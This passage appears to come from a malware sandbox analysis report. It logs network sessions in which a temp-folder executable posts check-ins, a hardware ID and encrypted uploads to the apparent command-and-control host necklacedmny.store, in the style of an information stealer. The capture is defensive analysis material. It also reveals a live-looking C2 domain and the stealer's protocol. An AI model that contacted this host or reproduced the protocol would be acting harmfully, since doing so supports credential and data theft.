d0gVB1/+kL/SofwU5xs6d+h5yN0zRjQ4sr0ANrARRBXg/aK1eKyzHfQmu1PkvviCKorbXmGlFyvgXhMlgvJXcCIO42E6PGb5hMMaQ2FJGLXOHor+kET2HuCeozFi1vYystu3Idi517x3YwnWFAi5JQta24/QVScKUa5l9EbH0vO1OuIhSRjWSQBHq5K1OfhRjzvrfjGEEmqRHgfjY=
2024-10-30 11:37:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49800	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:08 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 11:37:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 11:37:08 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rhg2udjt9bfknm4so4h5engahl; expires=Sun, 23 Feb 2025 05:23:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FB%2FwTjmqlrJ%2FLYbmwpS8Zvh2wyiqKiRoCmvWZxioPr5p9lTNecr5zEusor%2ByhojsZwQ95e2tvonLcPWwggXSrppOtmYOiJ8lypPU5nTVxxUoGtWzLCt7sAgv4MBidljLGHE7q0U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c940a2c6c61-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1005&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2943089&cwnd=232&unsent_bytes=0&cid=923303eb0428332f&ts=430&x=0"
2024-10-30 11:37:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 11:37:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49811	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:09 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 11:37:09 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 11:37:10 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bdkjmpgd858gd6edj2n4qurnt0; expires=Sun, 23 Feb 2025 05:23:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GWJPBmiLgzqwW6NlKEn2abut42uYULsDYF8I%2BMi4%2B3gQccwsIGR3RnT%2Fn2f0KIJUKLJlRjURXw0rpamYEJ32z8OP3VBBzrfId31R19BzJ1pxOCJkB5z3pHp%2Bz5kA1qO4bSqzP7o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c9c1b06461e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1158&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2280314&cwnd=251&unsent_bytes=0&cid=1ee0456c5e90a834&ts=502&x=0"
2024-10-30 11:37:10 UTC	354	IN	Data Raw: 31 64 39 64 0d 0a 57 75 76 37 53 67 42 2f 6a 65 66 53 65 59 61 6f 36 32 4a 57 4d 6d 78 50 42 78 6f 5a 52 61 77 45 36 54 51 46 38 6a 4d 44 76 45 41 68 79 59 31 6f 4f 6b 75 68 78 61 45 63 70 4a 4b 66 45 43 4e 58 51 47 31 6d 66 6a 74 2f 79 6d 57 46 52 32 44 65 45 58 58 52 59 6d 43 4e 6d 69 5a 7a 47 71 48 46 74 77 47 6b 6b 72 41 5a 64 46 63 43 62 54 30 34 66 43 2f 4f 5a 59 56 57 5a 4a 6c 63 63 39 41 6a 4d 6f 65 63 49 6d 55 63 36 59 61 2b 46 4f 50 4e 6a 67 4d 38 58 41 55 69 62 33 63 37 61 59 35 68 6b 78 59 2f 30 48 35 6d 79 43 45 58 69 6f 67 68 49 67 4b 68 6e 50 41 63 36 49 72 52 51 44 64 58 44 69 4e 68 66 6e 49 74 78 47 79 4e 56 32 47 59 51 32 72 61 4b 44 4b 4a 6e 79 4e 76 46 66 32 4c 74 42 50 6f 79 34 51 44 64 42 35 4f 4b 6e 30 34 49 32 65 64 56 49 68 48 64 Data Ascii: 1d9dWuv7SgB/jefSeYao62JWMmxPBxoZRawE6TQF8jMDvEAhyY1oOkuhxaEcpJKfECNXQG1mfjt/ymWFR2DeEXXRYmCNmiZzGqHFtwGkkrAZdFcCbT04fC/OZYVWZJlcc9AjMoecImUc6Ya+FOPNjgM8XAUib3c7aY5hkxY/0H5myCEXioghIgKhnPAc6IrRQDdXDiNhfnItxGyNV2GYQ2raKDKJnyNvFf2LtBPoy4QDdB5OKn04I2edVIhHd
2024-10-30 11:37:10 UTC	1369	IN	Data Raw: 45 4f 2b 58 75 42 44 76 7a 35 73 4c 50 56 30 44 4c 57 68 79 64 43 54 4f 59 59 46 63 61 4a 70 56 62 4e 4d 6b 4f 49 6e 5a 5a 69 49 61 39 38 58 6f 57 38 66 50 6d 51 63 34 52 6b 77 58 4a 57 63 31 50 6f 35 68 68 78 59 2f 30 46 6c 6b 33 53 45 7a 68 70 6f 67 61 51 2f 76 6c 37 59 57 34 64 69 50 42 54 70 61 44 54 39 76 64 6e 30 6b 78 32 32 43 55 32 43 55 45 53 2b 65 4a 53 44 4a 77 57 68 44 45 4f 53 4a 75 67 7a 6b 69 70 5a 4f 4c 52 41 4a 49 53 55 67 4f 79 50 50 59 6f 70 53 61 5a 35 56 62 64 67 73 4e 59 61 66 49 6d 49 61 35 59 32 34 47 75 6e 42 68 67 41 78 58 51 6f 72 61 58 6c 2b 5a 34 41 6d 6a 45 34 6e 79 42 46 50 32 53 45 71 79 36 77 72 62 42 50 6f 6b 2f 41 45 71 74 50 4a 42 7a 67 51 56 6d 31 72 66 58 51 31 7a 33 53 4f 57 48 57 63 56 47 66 54 49 54 61 4a 6e 43 39 Data Ascii: EO+XuBDvz5sLPV0DLWhydCTOYYFcaJpVbNMkOInZZiIa98XoW8fPmQc4RkwXJWc1Po5hhxY/0Flk3SEzhpogaQ/vl7YW4diPBTpaDT9vdn0kx22CU2CUES+eJSDJwWhDEOSJugzkipZOLRAJISUgOyPPYopSaZ5VbdgsNYafImIa5Y24GunBhgAxXQoraXl+Z4AmjE4nyBFP2SEqy6wrbBPok/AEqtPJBzgQVm1rfXQ1z3SOWHWcVGfTITaJnC9
2024-10-30 11:37:10 UTC	1369	IN	Data Raw: 2f 41 45 71 74 50 4a 42 7a 67 51 56 6d 31 70 63 58 73 73 78 47 4b 4c 55 57 71 56 55 6d 62 64 4c 7a 2b 44 6c 79 39 6d 45 65 61 49 74 68 76 6a 7a 6f 77 53 4d 56 6b 43 49 53 55 32 4f 79 44 57 4a 74 4d 57 53 4a 64 48 59 76 45 68 4b 59 44 5a 4e 79 77 45 72 34 4b 38 57 37 79 4b 6a 67 55 38 57 77 67 6c 5a 57 70 2b 4b 63 56 6e 67 56 42 6d 6e 56 31 6e 33 69 4d 34 6a 35 55 6f 5a 52 72 39 6c 37 55 64 39 73 44 4a 54 6e 52 58 46 6d 30 39 4f 45 30 33 32 58 65 64 46 46 4b 54 58 32 2f 5a 4e 48 69 57 31 7a 45 69 47 75 50 46 36 46 76 76 79 6f 55 48 50 46 59 4b 4a 57 70 33 63 6a 58 50 61 6f 56 45 59 4a 42 59 62 39 45 75 4d 59 53 65 4a 57 6b 58 34 6f 47 33 47 71 53 45 79 51 63 73 45 46 5a 74 55 32 68 32 4b 2b 42 74 68 31 38 6e 6a 78 39 34 6e 69 55 30 79 63 46 6f 5a 68 48 6e Data Ascii: /AEqtPJBzgQVm1pcXssxGKLUWqVUmbdLz+Dly9mEeaIthvjzowSMVkCISU2OyDWJtMWSJdHYvEhKYDZNywEr4K8W7yKjgU8WwglZWp+KcVngVBmnV1n3iM4j5UoZRr9l7Ud9sDJTnRXFm09OE032XedFFKTX2/ZNHiW1zEiGuPF6FvvyoUHPFYKJWp3cjXPaoVEYJBYb9EuMYSeJWkX4oG3GqSEyQcsEFZtU2h2K+Bth18njx94niU0ycFoZhHn
2024-10-30 11:37:10 UTC	1369	IN	Data Raw: 48 50 6a 51 63 77 56 67 46 74 4b 7a 68 38 50 34 34 2b 79 33 6c 41 70 52 4e 41 35 47 49 6e 78 34 42 6f 5a 52 47 76 33 66 41 58 35 38 61 42 44 7a 4a 5a 41 69 64 73 63 33 63 73 79 6d 71 43 55 32 47 52 56 47 54 66 4a 6a 53 44 6e 79 74 68 45 75 43 4b 75 46 75 71 69 6f 34 59 64 41 68 4f 43 48 4a 7a 64 53 47 4f 65 63 56 50 4a 35 64 64 49 59 5a 69 4e 49 43 66 4c 6d 63 52 37 6f 4f 34 48 75 7a 4f 69 41 59 79 55 77 45 70 59 48 6c 30 49 38 4a 6f 67 56 64 6d 6e 46 70 75 31 53 64 34 78 39 6b 76 65 6c 32 33 78 59 45 59 38 74 32 5a 44 48 52 50 51 44 51 6c 66 33 64 6e 6c 69 61 4b 52 47 32 61 58 32 54 52 4a 7a 75 47 6e 69 56 6b 45 65 57 4d 75 42 33 72 77 35 73 44 4f 46 34 4a 49 32 6c 32 64 69 33 4e 61 38 73 59 4a 35 64 4a 49 59 5a 69 46 49 36 55 42 6d 6b 52 36 4d 57 76 56 Data Ascii: HPjQcwVgFtKzh8P44+y3lApRNA5GInx4BoZRGv3fAX58aBDzJZAidsc3csymqCU2GRVGTfJjSDnythEuCKuFuqio4YdAhOCHJzdSGOecVPJ5ddIYZiNICfLmcR7oO4HuzOiAYyUwEpYHl0I8JogVdmnFpu1Sd4x9kvel23xYEY8t2ZDHRPQDQlf3dnliaKRG2aX2TRJzuGniVkEeWMuB3rw5sDOF4JI2l2di3Na8sYJ5dJIYZiFI6UBmkR6MWvV
2024-10-30 11:37:10 UTC	1369	IN	Data Raw: 41 4d 30 68 4f 64 53 56 4f 66 44 66 65 5a 63 6c 6e 63 5a 4e 48 61 74 4d 75 65 4a 62 58 4d 53 49 61 34 38 58 6f 57 2b 4c 46 67 41 4d 37 55 51 63 68 61 48 31 79 49 73 39 67 6a 31 78 74 6b 46 64 6e 33 79 63 79 69 70 67 69 61 78 72 6e 67 72 4d 4a 70 49 54 4a 42 79 77 51 56 6d 31 4d 66 32 6b 70 33 69 61 55 47 48 37 51 56 6d 32 65 65 6e 69 4e 6b 79 64 6d 47 75 4f 44 74 52 33 70 79 34 59 42 4e 46 38 4b 4a 6d 78 2b 65 69 72 4c 61 34 39 45 62 5a 74 65 62 64 63 75 4e 63 6e 58 61 47 55 46 72 39 33 77 4b 75 6e 45 68 77 63 69 45 42 46 6a 66 44 68 38 4b 34 34 2b 79 31 64 72 6e 31 4a 75 33 53 45 35 67 34 73 36 62 68 54 6e 67 4c 77 51 36 73 79 62 42 6a 74 5a 44 53 35 73 66 33 4d 72 78 47 57 4d 46 69 6e 51 56 6e 6d 65 65 6e 69 71 6a 6a 68 76 58 66 44 4c 71 56 76 6a 78 73 Data Ascii: AM0hOdSVOfDfeZclncZNHatMueJbXMSIa48XoW+LFgAM7UQchaH1yIs9gj1xtkFdn3ycyipgiaxrngrMJpITJBywQVm1Mf2kp3iaUGH7QVm2eeniNkydmGuODtR3py4YBNF8KJmx+eirLa49EbZtebdcuNcnXaGUFr93wKunEhwciEBFjfDh8K44+y1drn1Ju3SE5g4s6bhTngLwQ6sybBjtZDS5sf3MrxGWMFinQVnmeeniqjjhvXfDLqVvjxs
2024-10-30 11:37:10 UTC	1369	IN	Data Raw: 48 43 68 6a 64 33 51 75 78 32 4b 44 56 57 65 55 56 57 62 62 49 54 53 43 6e 69 74 74 47 65 61 4c 75 52 53 6b 68 4d 6b 48 4c 42 42 57 62 55 52 6a 65 43 76 44 4a 70 51 59 66 74 42 57 62 5a 35 36 65 49 57 58 4c 57 49 58 36 59 47 31 48 65 37 50 69 51 73 33 58 77 6f 72 59 58 64 37 4c 4d 64 6e 6a 56 4e 74 6d 31 64 73 33 53 51 2b 79 64 64 6f 5a 51 57 76 33 66 41 37 2f 38 65 46 42 33 52 50 51 44 51 6c 66 33 64 6e 6c 69 61 41 57 6d 4f 58 55 57 7a 64 4b 6a 32 4e 6b 79 31 69 46 66 32 4e 73 42 7a 32 32 49 6b 4a 4d 56 77 4e 4c 57 46 2b 63 69 48 4e 59 73 73 59 4a 35 64 4a 49 59 5a 69 46 59 57 65 41 57 55 47 72 35 72 2b 41 71 54 4e 68 55 42 73 45 41 38 6d 62 33 64 32 4a 4d 68 6c 67 46 4e 74 6b 56 5a 70 30 7a 41 37 68 70 59 73 59 68 4c 70 67 37 45 55 34 73 32 41 41 54 78 Data Ascii: HChjd3Qux2KDVWeUVWbbITSCnittGeaLuRSkhMkHLBBWbURjeCvDJpQYftBWbZ56eIWXLWIX6YG1He7PiQs3XworYXd7LMdnjVNtm1ds3SQ+yddoZQWv3fA7/8eFB3RPQDQlf3dnliaAWmOXUWzdKj2Nky1iFf2NsBz22IkJMVwNLWF+ciHNYssYJ5dJIYZiFYWeAWUGr5r+AqTNhUBsEA8mb3d2JMhlgFNtkVZp0zA7hpYsYhLpg7EU4s2AATx
2024-10-30 11:37:10 UTC	390	IN	Data Raw: 30 5a 63 4d 63 52 68 6d 31 46 77 6e 78 45 76 6e 69 31 34 30 61 42 6f 61 78 72 30 6c 4b 59 57 39 4d 33 4a 50 33 6f 51 46 6d 30 39 4f 45 34 6b 77 47 69 4d 51 48 62 64 64 6e 66 55 4a 53 69 4f 6a 69 63 69 55 36 2b 44 38 45 4f 33 68 4d 6b 45 4a 52 42 57 66 54 63 6a 4c 6e 53 5a 4e 74 6c 4a 4b 59 6b 52 64 35 35 36 61 73 66 5a 4f 69 4a 46 72 38 4b 7a 43 66 62 4d 69 68 59 33 46 7a 41 54 51 6d 4a 32 49 64 6c 33 74 57 68 67 69 6c 78 6e 79 54 4e 30 6e 4a 6f 6d 62 42 72 35 78 66 35 62 36 34 72 52 4f 58 51 59 54 68 49 72 4f 47 4e 6e 6c 69 61 2b 56 57 6d 65 56 6e 66 50 62 78 2b 54 6c 43 35 31 44 4b 2f 4c 38 42 32 6b 6b 74 6c 4f 64 46 51 66 62 54 30 6f 4b 58 79 62 4e 64 77 47 4e 59 38 66 65 4a 34 30 65 4e 48 4c 5a 69 49 50 72 39 33 77 58 4f 66 59 6d 77 59 33 52 67 31 71 Data Ascii: 0ZcMcRhm1FwnxEvni140aBoaxr0lKYW9M3JP3oQFm09OE4kwGiMQHbddnfUJSiOjiciU6+D8EO3hMkEJRBWfTcjLnSZNtlJKYkRd556asfZOiJFr8KzCfbMihY3FzATQmJ2Idl3tWhgilxnyTN0nJombBr5xf5b64rROXQYThIrOGNnlia+VWmeVnfPbx+TlC51DK/L8B2kktlOdFQfbT0oKXybNdwGNY8feJ40eNHLZiIPr93wXOfYmwY3Rg1q
2024-10-30 11:37:10 UTC	1369	IN	Data Raw: 32 32 32 66 0d 0a 4d 39 59 74 58 68 71 6b 56 4a 76 6e 42 4d 75 68 49 6b 72 5a 78 72 52 75 37 34 63 38 4d 32 48 42 6a 51 51 51 47 31 71 4f 43 4d 65 6a 69 37 4c 61 53 6e 51 53 53 47 47 59 67 32 4b 6c 79 5a 6c 43 2f 37 49 6b 77 33 70 78 59 49 42 64 42 35 4f 4b 79 55 67 4b 32 6d 4f 59 70 6f 57 50 38 41 44 4f 6f 74 78 62 39 6e 4c 4e 79 77 45 72 35 50 77 51 37 61 45 79 52 4a 30 43 45 35 71 61 33 56 36 4a 4d 42 6c 6d 55 52 68 6b 30 64 69 6d 52 77 47 71 4a 51 6a 62 68 44 67 6a 6f 34 6c 78 63 65 43 44 44 6c 66 42 52 4e 62 62 58 67 70 77 47 47 64 52 79 66 65 45 57 36 65 65 67 48 4a 30 57 68 64 55 36 2b 64 38 45 4f 6b 2f 34 6f 4f 4f 6c 63 59 50 43 68 5a 64 69 7a 43 61 34 52 64 4a 39 34 52 5a 35 35 36 61 4d 66 5a 4c 48 4e 64 74 39 58 69 51 4c 47 5a 33 6c 42 6d 54 30 Data Ascii: 222fM9YtXhqkVJvnBMuhIkrZxrRu74c8M2HBjQQQG1qOCMeji7LaSnQSSGGYg2KlyZlC/7Ikw3pxYIBdB5OKyUgK2mOYpoWP8ADOotxb9nLNywEr5PwQ7aEyRJ0CE5qa3V6JMBlmURhk0dimRwGqJQjbhDgjo4lxceCDDlfBRNbbXgpwGGdRyfeEW6eegHJ0WhdU6+d8EOk/4oOOlcYPChZdizCa4RdJ94RZ556aMfZLHNdt9XiQLGZ3lBmT0
2024-10-30 11:37:10 UTC	1369	IN	Data Raw: 58 51 65 4f 4b 4d 74 5a 4a 38 68 6f 49 5a 5a 69 42 38 66 5a 4d 43 4a 46 72 37 43 7a 46 65 72 4e 6e 78 46 35 64 52 6b 75 64 58 35 34 5a 34 41 6d 6a 52 59 2f 77 42 38 68 32 6a 4e 34 30 63 6c 36 4f 55 69 38 30 75 42 4a 2b 34 53 51 51 43 49 51 56 6e 38 72 4f 47 6c 6e 6c 69 62 4d 56 58 57 43 56 32 4c 49 49 58 2b 33 70 77 35 68 44 4f 57 6b 76 51 76 6a 39 4c 63 56 4e 31 34 41 4b 6e 4e 70 4f 32 6d 4f 61 63 73 4f 58 74 41 5a 4c 64 67 68 4c 73 6d 6d 5a 69 49 46 72 39 33 77 4c 75 66 45 68 77 63 69 51 55 4d 4c 5a 6d 6c 78 42 73 4e 32 6a 42 59 70 30 46 63 68 68 6e 46 32 79 5a 30 35 49 6b 57 2f 31 2b 74 4f 74 35 33 5a 55 69 73 65 46 32 31 7a 4f 43 4e 31 67 43 61 5a 46 6a 2f 51 46 6d 4c 4d 4d 44 36 4b 6a 79 73 6c 49 39 47 77 73 78 58 71 7a 5a 38 31 4e 30 45 4e 4c 57 35 Data Ascii: XQeOKMtZJ8hoIZZiB8fZMCJFr7CzFerNnxF5dRkudX54Z4AmjRY/wB8h2jN40cl6OUi80uBJ+4SQQCIQVn8rOGlnlibMVXWCV2LIIX+3pw5hDOWkvQvj9LcVN14AKnNpO2mOacsOXtAZLdghLsmmZiIFr93wLufEhwciQUMLZmlxBsN2jBYp0FchhnF2yZ05IkW/1+tOt53ZUiseF21zOCN1gCaZFj/QFmLMMD6KjyslI9GwsxXqzZ81N0ENLW5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49829	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-30 11:37:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:12 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-30 11:37:12 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8p8j12jktbc31fme4eo1imevf6; expires=Sun, 23 Feb 2025 05:23:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YSInBL5OYZHpdMBpkhu7dWpdtaFeNermNgslEJhm%2Fx2tGtQEtCaWnlXiFpdcGJrlbVrD%2BZVgEisnnIueRHy2OjtmB57t7%2FL9iwuObs6gJ1pRDrrLk9h4szWdcaSNkc9c1t2uWq8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1cab0b606bec-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1866&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=1571351&cwnd=251&unsent_bytes=0&cid=fe7671348038af1b&ts=531&x=0"
2024-10-30 11:37:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49843	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:13 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-30 11:37:13 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:14 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lkj2341tvsmmtfvn5c2qnfcep0; expires=Sun, 23 Feb 2025 05:23:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IxM8Glh3F8%2BpSwDZTQ7e7VpUxyobFlhG%2F6JF6z97HatZ00rlR6du1DuuEwAm2gE3CySbF5Jbi7pERsJriWYohOFlM5yhhZKPu51V%2BXOYrmWmOZrKsm45dcun0YxE4%2FinAb928o8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1cb54a794751-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2017&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=1411994&cwnd=251&unsent_bytes=0&cid=8d552797701315e3&ts=764&x=0"
2024-10-30 11:37:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49870	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
